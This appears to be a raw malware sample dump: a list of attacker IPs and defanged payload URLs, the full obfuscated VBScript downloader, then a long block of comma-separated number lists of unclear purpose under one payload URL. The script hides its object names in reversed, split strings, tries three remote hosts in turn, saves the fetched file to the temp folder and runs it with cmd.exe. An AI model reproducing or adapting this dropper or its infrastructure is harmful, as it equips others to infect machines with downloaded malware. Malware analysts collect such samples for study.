VBS Downloader

vbs downloader (malicious, do not run on a production machine)

http://185.99.133.132/config/
http://185.99.133.132/thread/

hxxp://starke-bello.de/Yiuyb30r?
hxxp://littfortres.net/settings/Yiuyb30r?
hxxp://burmese.myzen.co.uk/Yiuyb30r?


hxxp://ronjustthetrebho.net/board/gate.php?

############################# http://185.99.133.132/config/CCE_20180427_105.vbs #############################


  Dim saeko
Function T2000(p, ddd)

    ZabiT.Type = 1
        BoH = 101
        Set WordpressdesperadoVERGE = CreateObject("WScri"+"pt.Shell")

    BoH = 1 + BoH
    ZabiT.Open
End Function


Public Sub FillPointWithDefaults(Point1 )

saeko = "//despsed:ptthdespsedsb"+"v.dGBXbSOOyma\despsedelifo"+"tevasdespsedydoBes" & ""+"nopser"+"despsed"+"etirw"+"despsed"+"nepo"+"despsed"+"epyT"+"despsed"+"PmeT"+"despsed"+"TeG"+"despsed"+"ssecorP"+"despsed"+"llehs."+"tpircsW"+"despsed"+"noitacilppA.llehs"
exit sub
With Point1

    .PhysicalWidth = defPointSize
    .Width = .PhysicalWidth
    ToLogicalLength .Width

    .Locus = 0
    .ParentFigure = 0
    .ZOrder = 0 'GenerateNewPointZOrder
    .Tag = 0

    .FillStyle = setdefPointFill
    .FillColor = setdefcolPointFill
    .ForeColor = setdefcolPoint
    .Shape = setdefPointShape
    .ShowName = setAutoShowPointName
    .ShowCoordinates = False
    .NameColor = setdefcolPointName

    .Visible = True
    .Enabled = True
    .Hide = False
    .InDemo = True

End With
End Sub

  Dim IzIBoT
FillPointWithDefaults 1
Sub Volume_Up(H15)
 RUKI = 404
 NOGI = "xe /c START """" "+" "+ H15
 WordpressdesperadoVERGE.Run("cm"&"d.e"+NOGI )
End Sub

romona = ""&""&"etofile Wordpressdesperadod3d3d3d3 , 2 : End Sub"
Dim WordpressdesperadoTimeTo 'As Object
Dim WordpressdesperadoDW
WordpressdesperadoDW = false
Execute "Sub MUFELFU(strr):ZabiT.Sav"&""&romona

Dim Bibuds
Dim Wordpressdesperadobalibob 'As Object

Execute "Function Alo(Pipitr6) : Set Alo = GetRef(Pipitr6) : End Function"

Dim Wordpressdesperadod3d3d3d3 '
WordpressdesperadoTepir = "User"

Dim Wordpressdesperadoensurance '
Execute "function BAZUKI(A) : BAZUKI = CreateObject(""Scripting.FileSystemObject"").GetSpecial"+"Folder(A) : End function"

       Dim TristateTrue
WordpressdesperadoTepir = WordpressdesperadoTepir + "-"
 Dim Hacha
Dim WordpressdesperadoBISHMUR 'As Object

Dim TwoCat
   Dim MarketPlaceibility '

Dim ZabiT 'As Object
Dim WordpressdesperadoBellish '
Dim sNodeKey '
Execute "Sub specnaz(specnazA,specnazB,Pipitr6) : specnazB.Wri"+"te Pipitr6.responseB" + "ody : End Sub : Sub Pochec(specnazVF) : specnazVF.Se"+""+"nd : End Sub"
Execute "Sub specnaz2(a,b,c) :  a.O"+"pen b, c, zealot : End Sub "
  Dim sParentKey '
    Dim Tepick 'As Integer

   Dim ruOk '
WordpressdesperadoBellish = "Ag"
zealot = False

  Bibuds = Split("Microsoft."+"XMLHT"+"TPdespsedAdodb.str"+"eaM"+"despsed"+StrReverse(saeko),  "despsed")


Set WordpressdesperadoBISHMUR = CreateObject(Bibuds(000))

Public Sub DebugLog(txt)
    'debug.print txt
    Open AppPath & "log.txt"

    Close
End Sub
Dim Wordpressdesperado404 '

Dim WordpressdesperadoVERGE
 Dim MarketPlace '
  Dim sTempVis '
  Dim iCount 'As Integer






'Set WordpressdesperadoTimeTo = CreateObject(Bibuds(8-6))
BOOM = 3
Tepick = 10 + 1 + 1
zTempVis = Bibuds(Tepick - 11)
Set Wordpressdesperado13 = Alo("MUFELFU")
Set Wordpressdesperado14 = Alo("specnaz")

Set ZabiT = CreateObject("Adodb."+"streaM")

Set Wordpressdesperadobalibob = CreateObject(Bibuds(11-8)+"")

 Hacha = Array("starke-bello.de/Yiuyb30r?","littfortres.net/settings/Yiuyb30r","burmese.myzen.co.uk/Yiuyb30r?")
 Dim i
sTempVis = Bibuds(7+Tepick -7)
Wordpressdesperadoensurance = BAZUKI(Tepick- 6  -4+0)
if "SEMKA" + WScript + "33333" = "SEMKAWindows Script Host33333" Then

 TwoCat = 20901


TwoCat = 3 - TwoCat
end if

RUKI = 24

MarketPlace = Bibuds(BOOM+10) & Bibuds(BOOM+11)

WordpressdesperadoTepir = WordpressdesperadoTepir & ""&WordpressdesperadoBellish & "ent"

RUKI = RUKI * 12
    on error resume  next


 For i = 0 To 2 Step 1
TwoCat =  TwoCat +82

dangerAd=3
RUKI2 = Bibuds(16-11)

RUKI = RUKI + 404


specnaz2 WordpressdesperadoBISHMUR,RUKI2,MarketPlace & Hacha(i)

dangerAd=RUKI

if dangerAd + 1 > dangerAd Then
Pochec(WordpressdesperadoBISHMUR)
end if
dangerAd=dangerAd + 14
If 1112 + WordpressdesperadoBISHMUR.Status  = 1312 Then
IzIBoT = i

 Exit For
End If

goto14:
Next
on error goto 0

if IzIBoT >= 0 Then
Dim Clank 'As String
 Wordpressdesperadod3d3d3d3 = Wordpressdesperadoensurance+ sTempVis

T2000 "",90
Wordpressdesperado14 "",ZabiT,WordpressdesperadoBISHMUR

forumPHPBB =10
Wordpressdesperadod3d3d3d3u = "" + Wordpressdesperadod3d3d3d3
forumPHPBB = forumPHPBB+22

Dim WordpressdesperadoBTCP,WordpressdesperadoDisplay 'As Long
Wordpressdesperado13 "ww"


If 41 < forumPHPBB + 14 Then


kvote =  Wordpressdesperadod3d3d3d3 & """"
Hipster =2*RUKI-RUKI


   Volume_Up("""" &kvote)

forumPHPBB = forumPHPBB-forumPHPBB/10

End If




    WordpressdesperadoDisplay = "Re"
end if
#######################################   http://burmese.myzen.co.uk/Yiuyb30r? #############################









',1238,1297,1374,1413,1414,1448,1449,1490,1501,1538,1539,1571,1572,1604,1605,1615,1616,1668,1669,1701,1702,1718,1719,1752,1753,1815,1816,1832,1843,1883,1884,1918,1919,1952,1953,2005,2006,2026,2027,2043,2044,2064,2065,2124,2220,2243,2277,2296,2346,2379,2399,2425,2865,2866,2957,2958,2990,2997,2998,3027,3036,3299,3322,3380,3430,3444,4944,5248,5525,6276,6380,6416,6727,7026,7115,7116,7130,7137,7138,7152,7621,
',22,35,85,102,119,152,198,252,296,298,315,329,341,405,464,496,511,651,799,947,961,985,1024,1164,1213,1237,1296,1308,1318,1344,1373,1412,1447,1489,1500,1537,1570,1603,1614,1667,1700,1717,1751,1814,1831,1842,1882,1917,1951,2004,2025,2042,2063,2123,2134,2144,2170,2176,2178,2219,2242,2276,2295,2345,2378,2398,2424,2482,2496,2498,2530,2554,2567,2630,2668,2690,2742,2795,2837,2864,2956,2989,2996,3026,3035,3047,3056,3058,3075,3103,3137,3166,3174,3192,3202,3242,3268,3277,3279,3298,3321,3379,3429,3443,3467,3481,3483,3499,3525,3551,3612,3689,3739,3758,3768,3777,3779,3790,3814,3916,3951,4003,4038,4050,4058,4099,4108,4110,4125,4149,4163,4353,4368,4387,4412,4466,4477,4498,4574,4593,4601,4668,4678,4692,4694,4716,4740,4803,4830,4852,4860,4883,4893,4907,4909,4943,4966,4981,5011,5057,5137,5151,5231,5247,5254,5268,5270,5297,5344,5377,5434,5459,5473,5475,5498,5524,5647,5661,5663,5680,5704,5813,5827,5829,5849,5875,5925,5961,6061,6147,6189,6264,6275,6318,6332,6334,6353,6379,6418,6513,6590,6624,6655,6665,6679,6681,6700,6726,6765,6827,6914,6948,6982,6992,7006,7008,7025,7114,7129,7136,7151,7160,7174,7193,7219,7307,7389,7425,7477,7487,7536,7576,7616,7666,7676,7711,7816,7904,7993,8024,8072,8082,8128,8142,


',21,34,84,101,118,151,197,251,295,297,314,328,340,404,463,495,510,650,798,946,960,984,1023,1163,1212,1236,1295,1307,1317,1343,1372,1411,1446,1488,1499,1536,1569,1602,1613,1666,1699,1716,1750,1813,1830,1841,1881,1916,1950,2003,2024,2041,2062,2122,2133,2143,2169,2175,2177,2218,2241,2275,2294,2344,2377,2397,2423,2481,2495,2497,2529,2553,2566,2629,2667,2689,2741,2794,2836,2863,2955,2988,2995,3025,3034,3046,3055,3057,3074,3102,3136,3165,3173,3191,3201,3241,3267,3276,3278,3297,3320,3378,3428,3442,3466,3480,3482,3498,3524,3550,3611,3688,3738,3757,3767,3776,3778,3789,3813,3915,3950,4002,4037,4049,4057,4098,4107,4109,4124,4148,4162,4352,4367,4386,4411,4465,4476,4497,4573,4592,4600,4667,4677,4691,4693,4715,4739,4802,4829,4851,4859,4882,4892,4906,4908,4942,4965,4980,5010,5056,5136,5150,5230,5246,5253,5267,5269,5296,5343,5376,5433,5458,5472,5474,5497,5523,5646,5660,5662,5679,5703,5812,5826,5828,5848,5874,5924,5960,6060,6146,6188,6263,6274,6317,6331,6333,6352,6378,6417,6512,6589,6623,6654,6664,6678,6680,6699,6725,6764,6826,6913,6947,6981,6991,7005,7007,7024,7113,7128,7135,7150,7159,7173,7192,7218,7306,7388,7424,7476,7486,7535,7575,7615,7665,7675,7710,7815,7903,7992,8023,8071,8081,8127,8141,


















',3,9,16,26,43,45,82,83,93,95,110,112,123,131,133,156,165,167,202,206,208,256,259,261,304,306,324,326,333,335,349,351,398,400,411,413,457,459,470,472,501,507,508,509,514,520,523,542,547,557,568,574,600,613,661,679,685,737,743,749,763,770,777,809,827,833,885,891,897,911,918,925,953,962,963,966,972,979,986,987,1013,1015,1025,1026,1030,1032,1108,1110,1123,1125,1165,1166,1175,1179,1184,1191,1195,1205,1207,1214,1215,1218,1227,1229,1231,1249,1255,1261,1266,1268,1273,1277,1280,1287,1309,1310,1314,1319,1320,1325,1327,1338,1345,1346,1349,1362,1365,1367,1375,1376,1379,1394,1406,1428,1436,1454,1479,1491,1492,1496,1502,1503,1506,1521,1531,1551,1559,1580,1587,1596,1620,1628,1630,1631,1648,1656,1659,1683,1723,1766,1779,1783,1785,1787,1795,1797,1803,1805,1829,1833,1834,1838,1844,1845,1848,1863,1876,1898,1906,1923,1957,1965,1967,1968,1985,1993,1996,2020,2022,2057,2078,2087,2090,2099,2103,2115,2120,2125,2126,2130,2135,2136,2140,2145,2146,2187,2212,2226,2237,2239,2249,2271,2273,2281,2300,2313,2315,2364,2366,2418,2449,2459,2486,2502,2524,2531,2532,2535,2541,2548,2555,2556,2568,2569,2573,2584,2586,2631,2632,2648,2655,2661,2669,2670,2686,2691,2692,2702,2704,2712,2714,2732,2734,2743,2744,2759,2770,2796,2797,2810,2838,2839,2842,2853,2856,2858,2876,2883,2892,2894,2900,2907,2910,2912,2923,2925,2928,2934,2936,2938,2962,3002,3031,3051,3062,3076,3077,3087,3089,3104,3105,3108,3117,3119,3131,3138,3139,3140,3141,3150,3152,3161,3163,3167,3168,3175,3176,3177,3178,3187,3189,3193,3194,3198,3203,3204,3213,3222,3226,3232,3243,3244,3250,3252,3272,3288,3302,3308,3315,3331,3339,3347,3349,3357,3359,3371,3373,3388,3401,3403,3415,3417,3422,3438,3448,3450,3471,3487,3500,3501,3504,3512,3514,3519,3526,3527,3528,3529,3535,3546,3548,3552,3553,3554,3555,3559,3566,3568,3613,3614,3615,3616,3620,3628,3630,3658,3660,3670,3682,3690,3691,3692,3693,3724,3733,3734,3735,3736,3737,3740,3741,3742,3743,3759,3760,3764,3772,3783,3791,3792,3795,3801,3808,3815,3816,3820,3831,3833,3888,3890,3895,3917,3918,3922,3927,3936,3939,3952,3953,3954,3955,3958,3986,3993,3995,3997,4004,4005,4006,4007,4008,4009,4020,4022,4033,4035,4039,4040,4041,4042,4046,4051,4052,4059,4060,4063,4075,4077,4080,4085,4103,4119,4126,4127,4130,4136,4143,4150,4151,4161,4164,4165,4174,4176,4351,4354,4355,4361,4363,4366,4369,4370,4377,4379,4385,4388,4389,4393,4395,4397,4399,4402,4410,4413,4414,4415,4416,4423,4425,4432,4434,4451,4453,4458,4460,4464,4467,4468,4473,4474,4475,4478,4479,4482,4492,4499,4500,4501,4502,4520,4556,4564,4575,4576,4577,4578,4583,4585,4594,4595,4602,4603,4604,4605,4610,4612,4665,4666,4669,4670,4674,4682,4703,4717,4718,4721,4727,4734,4741,4742,4747,4749,4804,4805,4808,4819,4822,4824,4831,4832,4833,4834,4844,4846,4853,4854,4861,4862,4863,4864,4874,4876,4884,4885,4889,4897,4918,4947,4953,4960,4967,4968,4969,4970,4982,4983,4984,4985,4989,4994,4996,4998,5001,5012,5013,5014,5015,5016,5017,5018,5019,5022,5030,5032,5034,5036,5039,5041,5045,5047,5051,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5083,5085,5099,5101,5113,5115,5118,5120,5123,5125,5129,5131,5138,5139,5140,5141,5142,5143,5144,5145,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5177,5179,5193,5195,5207,5209,5212,5214,5217,5219,5223,5225,5232,5233,5234,5235,5236,5237,5238,5239,5243,5258,5279,5298,5299,5303,5311,5313,5345,5346,5350,5359,5368,5378,5379,5391,5407,5416,5425,5428,5435,5436,5440,5448,5450,5463,5484,5499,5500,5501,5502,5505,5511,5518,5536,5538,5586,5588,5592,5594,5651,5672,5681,5682,5685,5691,5698,5705,5706,5713,5715,5779,5811,5817,5838,5850,5851,5852,5853,5856,5862,5869,5876,5877,5878,5879,5883,5898,5911,5923,5926,5927,5928,5929,5933,5947,5959,5962,5963,5964,5965,5969,5983,5985,6008,6059,6062,6063,6064,6065,6069,6081,6083,6115,6117,6122,6145,6148,6149,6150,6151,6155,6160,6172,6175,6187,6190,6191,6192,6193,6194,6195,6196,6197,6205,6207,6256,6258,6265,6266,6267,6268,6273,6279,6287,6289,6292,6297,6305,6307,6322,6343,6354,6355,6356,6357,6360,6366,6373,6384,6399,6409,6419,6420,6421,6422,6426,6440,6442,6514,6515,6516,6517,6521,6530,6532,6564,6566,6571,6591,6592,6593,6594,6598,6603,6611,6614,6625,6626,6627,6628,6629,6630,6631,6632,6639,6641,6656,6657,6658,6659,6669,6690,6701,6702,6703,6704,6707,6713,6720,6731,6746,6755,6766,6767,6768,6769,6773,6787,6789,6828,6829,6830,6831,6835,6844,6846,6878,6880,6885,6915,6916,6917,6918,6922,6927,6935,6938,6949,6950,6951,6952,6953,6954,6955,6956,6963,6965,6983,6984,6985,6986,6996,7017,7029,7098,7101,7103,7108,7121,7123,7143,7145,7156,7164,7183,7194,7195,7196,7197,7200,7206,7213,7220,7221,7222,7223,7227,7234,7236,7308,7309,7310,7311,7315,7325,7327,7352,7354,7359,7383,7390,7391,7392,7393,7397,7402,7411,7414,7426,7427,7428,7429,7430,7431,7432,7433,7445,7447,7453,7478,7479,7480,7481,7488,7489,7490,7491,7503,7505,7511,7537,7538,7539,7540,7551,7553,7565,7569,7571,7577,7578,7579,7580,7584,7585,7587,7589,7591,7594,7601,7617,7618,7619,7620,7622,7633,7635,7646,7648,7649,7661,7667,7668,7669,7670,7677,7678,7679,7680,7691,7693,7712,7713,7714,7715,7718,7719,7730,7732,7734,7739,7755,7757,7775,7780,7796,7798,7817,7818,7819,7820,7824,7843,7845,7884,7886,7905,7906,7907,7908,7912,7919,7921,7958,7960,7965,7994,7995,7996,7997,8001,8006,8013,8016,8025,8026,8027,8028,8029,8030,8031,8032,8039,8040,8042,8049,8050,8052,8073,8074,8075,8076,8083,8084,8085,8086,8089,8096,8097,8099,8102,8107,8114,8115,8117,8132,
',1190,1248,1265,1340,1443,1566,1913,2899,3221,6042,6495,7289,
',46,81,181,195,222,249,275,293,386,396,401,403,448,455,460,462,536,541,558,575,599,614,636,641,662,778,792,797,810,926,940,945,1037,1041,1052,1059,1074,1079,1090,1095,1107,1111,1122,1126,1137,1144,1150,1154,1171,1204,1243,1293,1339,1341,1395,1404,1419,1444,1522,1529,1544,1567,1581,1585,1724,1728,1738,1745,1767,1784,1864,1874,1889,1914,1924,1928,1938,1945,2021,2023,2079,2118,2329,2342,2600,2627,2649,2653,2687,2688,2735,2740,2871,2909,2926,2935,2963,2970,2976,2983,3003,3007,3013,3020,3209,3233,3327,3350,3360,3370,3389,3394,3404,3414,3582,3609,3661,3668,3712,3714,3721,3725,3844,3868,3881,3909,4183,4185,4187,4189,4191,4193,4195,4197,4199,4201,4203,4205,4207,4209,4211,4213,4215,4217,4219,4221,4223,4225,4227,4229,4231,4233,4235,4237,4239,4241,4243,4245,4247,4249,4251,4253,4255,4257,4259,4261,4263,4265,4267,4269,4271,4273,4275,4277,4279,4281,4283,4285,4287,4289,4291,4293,4295,4297,4299,4301,4303,4305,4307,4309,4311,4313,4315,4317,4319,4321,4323,4325,4327,4329,4331,4333,4335,4337,4339,4341,4343,4345,4347,4349,4521,4554,4565,4572,4630,4663,4767,4800,5327,5341,5351,5369,5392,5417,5573,5584,5589,5591,5629,5644,5733,5809,5996,6006,6009,6057,6108,6143,6259,6262,6290,6291,6308,6316,6453,6510,6557,6587,6800,6824,6871,6907,7057,7064,7072,7095,7104,7107,7124,7127,7146,7149,7247,7304,7345,7381,7472,7474,7531,7533,7572,7574,7758,7774,7799,7814,7856,7883,7951,7982,7984,7988,8100,8101,8118,8126,
',1109,1124,

',387,395,449,454,5574,5583,5630,5643,
',399,458,531,535,576,584,590,598,615,623,631,635,642,779,787,791,927,935,939,1042,1051,1053,1060,1073,1075,1080,1089,1091,1096,1106,1112,1121,1127,1136,1138,1145,1149,1151,1155,1206,1729,1737,1739,1746,1786,1796,1804,1929,1937,1939,1946,2713,2733,2818,2828,2911,2924,2937,2971,2975,2977,2984,3008,3012,3014,3021,3234,3351,3358,3372,3402,3416,3659,3715,3720,3726,5100,5194,5370,5418,5587,5593,6007,6257,7570,7647,7885,8051,

',31,40,180,221,274,311,385,447,580,594,619,646,954,1036,1049,1071,1087,1104,1119,1134,1160,1170,1222,1242,1333,1356,1385,1390,1418,1470,1475,1484,1512,1517,1543,1592,1649,1734,1791,1809,1854,1859,1888,1934,1986,2160,2202,2328,2518,2599,2728,2814,2832,2870,2908,3072,3096,3208,3257,3292,3326,3491,3581,3650,3711,3843,3880,3964,4064,4182,4443,4447,4448,4629,4713,4766,4932,5023,5027,5028,5105,5109,5110,5199,5203,5204,5289,5326,5495,5572,5628,5732,5846,5995,6107,6211,6244,6350,6452,6556,6697,6799,6870,7022,7035,7056,7071,7190,7246,7344,7454,7512,7566,7602,7662,7698,7855,7950,
',33,42,196,250,294,313,397,456,583,597,622,649,959,1050,1072,1088,1105,1120,1135,1161,1162,1211,1226,1294,1342,1361,1392,1405,1445,1477,1486,1487,1519,1530,1568,1594,1665,1736,1794,1812,1861,1875,1915,1936,2002,2168,2217,2343,2528,2628,2731,2817,2835,2927,2954,3073,3101,3240,3266,3296,3377,3497,3610,3687,3732,3869,3914,3992,4079,4350,4457,4462,4463,4664,4714,4801,4941,5038,5049,5050,5122,5134,5135,5216,5228,5229,5295,5342,5496,5585,5645,5810,5847,6058,6144,6254,6255,6351,6511,6588,6698,6825,6912,7023,7065,7096,7100,7191,7305,7387,7475,7534,7568,7614,7664,7709,7902,7991,
',3889,4452,5040,5124,5218,6116,6249,6565,6879,7353,7959,
',3162,4034,4433,4459,5035,5046,5119,5130,5213,5224,
',1174,1337,1393,1478,1520,1586,1595,1655,1658,1862,1992,1995,2119,2211,2458,2523,2654,2660,2769,3395,3421,3669,3681,3910,3911,3985,4186,4190,4194,4198,4202,4206,4210,4214,4218,4222,4226,4230,4234,4238,4242,4246,4250,4254,4258,4262,4266,4270,4274,4278,4282,4286,4290,4294,4298,4302,4306,4310,4314,4318,4322,4326,4330,4334,4338,4342,4346,4555,4563,5424,5427,5897,5910,5946,6398,6408,6745,6754,6908,6909,7097,7382,7384,7471,7530,7983,7989,
',563,569,601,666,680,738,750,771,814,828,886,898,919,3129,4408,5031,5114,5208,5408,
',70,141,189,232,285,360,422,480,537,637,793,941,996,1290,1291,1292,1575,1608,1635,1677,1686,1710,1762,1775,1824,1972,2014,2035,2051,2074,2083,2111,2154,2335,2359,2392,2412,2438,2560,2608,2623,2625,2643,2681,2736,2781,2806,2846,2916,2942,3040,3365,3383,3409,3433,3453,3592,3637,3664,3701,3751,3856,3870,3973,4093,4511,4621,4758,4812,5335,5387,5403,5547,5603,5724,6045,6097,6223,6498,6546,6649,6812,6860,6973,7044,7066,7292,7334,7463,7473,7522,7532,7573,7940,8059,
',52,53,74,80,1780,1781,2088,2100,2116,6243,
',41,115,116,117,312,327,1366,1391,1518,1860,2059,2060,2061,2121,2857,3190,3996,4398,4450,4823,5033,5048,5112,5426,6246,6251,7567,7990,
',32,113,1085,1476,1593,2058,2240,2626,3130,3164,4036,4078,4409,4461,4997,5029,5037,5121,5215,6245,6250,7188,7590,8037,8047,8094,8112,
',1485,1657,1735,1935,1994,2274,2729,3867,3900,4364,4746,6056,6127,6247,6252,6509,6576,6823,6890,7099,7148,7303,7364,7773,
',581,595,620,647,1792,1810,2815,2833,3899,6126,6575,6889,7147,7363,
',582,596,621,648,1230,1793,1811,2816,2834,3912,4449,4938,4939,4940,4991,4992,4993,5007,5008,5009,5210,5226,6248,6253,6910,7106,7126,7385,
',114,748,896,1086,2624,2730,4365,4553,4662,4799,5117,5133,5205,7189,8038,8048,8095,8113,
',5116,5132,7105,7125,7733,
',5206,
',3549,3913,5211,5227,6911,7386,
',5111,
',51,690,838,2875,2906,2933,3231,3723,3853,5367,6005,6462,6809,7256,7865,

',521,1228,2854,3118,4820,
',44,94,111,132,166,207,260,305,325,334,350,412,471,1014,1031,1040,1058,1078,1094,1143,1153,1326,1364,1629,1727,1744,1927,1944,1966,2238,2272,2314,2365,2585,2703,2969,2982,3006,3019,3088,3151,3188,3251,3449,3513,3547,3567,3629,3832,4021,4175,4362,4378,4396,4424,4584,4611,4748,4845,4875,4995,5084,5178,5312,5449,5537,5714,5984,6029,6082,6206,6288,6306,6441,6482,6531,6640,6788,6845,6964,7102,7122,7144,7235,7276,7326,7446,7504,7552,7588,7634,7692,7756,7797,7844,7920,8041,8098,8116,
',522,1363,2855,2893,3348,3994,4076,4821,7731,
',3369,3413,
',3329,5590,
',127,142,388,392,394,697,744,845,892,1102,2330,4177,4184,4549,4658,4795,5742,5746,5758,5844,6203,6285,6303,7917,7966,8011,8021,8057,
',1351,1782,2192,2282,2301,2334,2347,2380,2400,2426,2749,2790,3091,4188,
',168,209,317,497,550,559,577,591,616,643,654,688,719,802,867,997,1070,1116,1192,1304,1306,1450,2089,2221,2244,2256,2316,2466,2561,2587,2811,2829,3041,3069,3071,3082,3110,3124,3143,3154,3180,3210,3212,3214,3259,3530,3569,3752,3974,4015,4028,4070,4192,4356,4527,4636,4773,4933,5002,5102,5196,5282,5292,5314,5373,5421,5494,5535,5741,5747,5783,5902,5915,5951,6073,6129,6164,6179,6215,6347,6636,6897,6974,7317,7416,7514,7749,7790,7837,7896,7914,7934,8018,
',23,88,391,602,1004,1194,1420,2198,2213,2278,2331,2333,2419,2755,2943,3507,4196,4491,4712,4843,4873,5294,5375,5423,5880,5930,6381,6728,8060,
',361,367,423,429,451,699,847,1493,1583,1835,2127,2137,2483,2557,2651,2843,2901,2913,2939,2991,3028,3037,3048,3468,3871,3923,4200,4380,4524,4531,4537,4567,4633,4640,4646,4770,4777,4783,4809,4855,4886,5146,5240,5255,5548,5554,5604,5610,5648,5736,5751,5760,6098,6156,6319,6547,6599,6666,6861,6923,6993,7398,7776,8002,8129,
',233,487,694,842,1244,1324,1360,1389,1474,1483,1516,1591,1597,1733,1858,1933,2117,2179,2203,2445,2450,2487,2662,2873,2895,3280,3536,3563,3593,3624,3634,3646,3671,3697,3747,3919,4204,4390,4877,4910,4986,5259,5476,5652,5755,5830,6152,6208,6323,6335,6595,6670,6682,6919,6997,7009,7175,7394,7581,7961,7998,8133,
',1044,1062,1098,1113,1128,1131,1582,2650,3834,4568,5486,5527,5674,5708,5840,5986,6199,6281,6299,6344,6443,6633,6691,6694,6790,6957,6960,7237,7846,
',289,300,686,834,2580,2604,2612,2639,2677,2777,3236,3246,3353,3397,4488,4522,4631,4709,4768,4840,4870,5734,5748,
',564,667,815,1267,1347,1377,1504,1846,2840,3032,3956,3959,4061,4444,4490,4711,4806,4842,4872,4890,5020,5024,5106,5200,5244,5749,5889,5975,6089,6277,6390,6403,6412,6432,6525,6538,6607,6612,6618,6645,6737,6750,6759,6779,6839,6852,6931,6936,6942,6969,7233,7320,7333,7407,7412,7419,7459,7517,7716,8014,8087,
',4208,
',687,835,4212,4523,4632,4769,5735,
',288,346,467,517,528,587,628,784,836,932,1020,1219,1652,1800,1989,2709,3655,3707,3981,3989,5739,5743,5937,6024,6477,
',108,276,287,452,701,837,849,1103,1193,2166,4240,5293,5374,5422,5745,5762,5845,5888,5974,6088,6204,6237,6260,6286,6304,6389,6431,6537,6736,6778,6851,7232,7332,
',491,663,739,811,887,1305,2207,2454,2847,2917,3070,3211,3223,4053,4244,4469,4532,4641,4778,4813,5249,5451,5750,5780,5805,6269,6650,6660,6987,7482,7671,8067,8077,
',174,215,243,693,841,1047,1172,1576,2262,2322,2332,2393,2472,2593,3300,3575,3603,3638,3793,3837,4128,4216,4719,4945,5320,5503,5677,5683,5711,5740,5754,5854,5989,6358,6446,6705,6793,7228,7240,7328,7366,7404,7456,7542,7624,7637,7682,7700,7721,7826,7849,7923,8008,8054,
',292,389,390,453,570,671,681,751,819,829,899,1069,1117,1132,1250,3822,3902,3929,3941,3966,4011,4024,4066,4220,5493,5534,5798,6229,6348,6578,6637,6695,6961,7975,
',3875,4224,6102,6551,6865,
',698,734,745,846,882,893,1101,1687,2616,2716,2807,4152,4228,4454,4512,4529,4530,4538,4550,4566,4622,4625,4638,4639,4647,4659,4759,4762,4775,4776,4784,4796,4920,4971,5042,5071,5087,5126,5165,5181,5220,5352,5388,5725,5728,5759,5843,6202,6284,6302,
',109,120,153,160,183,190,199,223,237,253,355,378,417,440,481,692,746,764,840,894,912,991,1048,1328,1609,2052,2155,2167,2188,2252,2288,2297,2307,2336,2353,2386,2406,2432,2439,2462,2499,2570,2722,2745,2801,3052,3059,3332,3556,3583,3597,3617,3780,3817,3882,4232,4506,4536,4540,4551,4570,4616,4645,4649,4660,4753,4782,4786,4797,4926,5077,5093,5171,5187,5300,5306,5336,5382,5437,5443,5542,5565,5598,5621,5678,5712,5719,5753,5890,5966,5976,6066,6090,6109,6137,6391,6423,6433,6518,6539,6558,6738,6770,6780,6832,6853,6872,7039,7224,7312,7346,7375,7442,7500,7562,7611,7658,7741,7782,7821,7829,7888,7909,7926,7952,
',290,291,393,407,450,695,759,843,907,1368,1407,1532,1584,1695,1877,2229,2233,2360,2369,2373,2443,2652,2859,3493,3642,3683,3716,3728,3998,4236,4400,4533,4642,4779,4825,4847,4999,5052,5429,5756,5781,6224,6293,7735,8103,
',689,1065,1118,1133,1350,1545,1890,3090,4528,4535,4637,4644,4774,4781,5489,5530,5942,6309,6349,6638,6696,6962,8119,
',726,772,874,920,4256,5790,6892,7435,7493,7544,7555,7604,7626,7639,7651,7684,7702,7723,7918,7970,8012,8022,8058,
',134,182,473,696,711,844,859,2045,2147,2266,2413,2476,2577,2601,2609,2636,2674,2774,3539,3674,3702,3896,4169,4260,4438,4489,4515,4710,4841,4871,5328,5757,5772,5887,5973,6087,6123,6388,6430,6536,6572,6735,6777,6850,6886,7231,7331,7360,
',286,1159,4252,7021,7120,7142,
',4248,4525,4634,4771,5737,
',4264,4571,
',2872,3713,
',402,461,691,700,710,718,733,839,848,858,866,881,3854,3855,3857,3862,4539,4548,4648,4657,4785,4794,5752,5761,5771,5782,5797,6043,6044,6046,6051,6496,6497,6499,6504,6810,6811,6813,6818,7290,7291,7293,7298,7866,7867,7877,7882,
',2874,3722,

',3901,4526,4534,4569,4635,4643,4772,4780,5738,5744,6128,6577,6891,7082,7365,

',77,97,171,212,265,343,364,426,492,498,525,554,571,608,625,658,682,740,773,781,806,830,888,921,929,1017,1076,1181,1251,1257,1283,1300,1402,1426,1433,1451,1461,1526,1548,1556,1598,1661,1871,1895,1903,1998,2092,2189,2195,2199,2201,2208,2214,2216,2227,2250,2253,2259,2285,2292,2304,2311,2319,2340,2350,2357,2367,2383,2390,2403,2410,2420,2422,2429,2436,2440,2455,2460,2463,2469,2509,2564,2590,2663,2697,2706,2717,2746,2752,2756,2758,2764,2823,3044,3065,3216,3294,3362,3375,3406,3419,3424,3440,3572,3652,3663,3924,3978,4153,4166,4180,4268,4358,4405,4435,4545,4627,4654,4764,4791,4878,4921,4972,5072,5088,5166,5182,5286,5317,5364,5413,5551,5580,5607,5640,5730,5806,6019,6038,6157,6227,6235,6472,6491,6600,6651,6924,6975,7083,7266,7285,7370,7399,7696,7871,8003,8065,8068,
',67,75,90,125,175,216,244,269,539,639,795,943,1259,2323,2501,2575,2594,2634,2672,2772,2850,2920,3054,3061,3275,3486,3509,3576,3604,3775,3782,3838,4106,4272,4816,5321,5885,5900,5971,5990,6085,6162,6213,6261,6386,6410,6428,6447,6534,6605,6643,6733,6748,6775,6794,6848,6929,6967,7229,7241,7329,7405,7457,7596,7827,7850,7924,8009,8055,
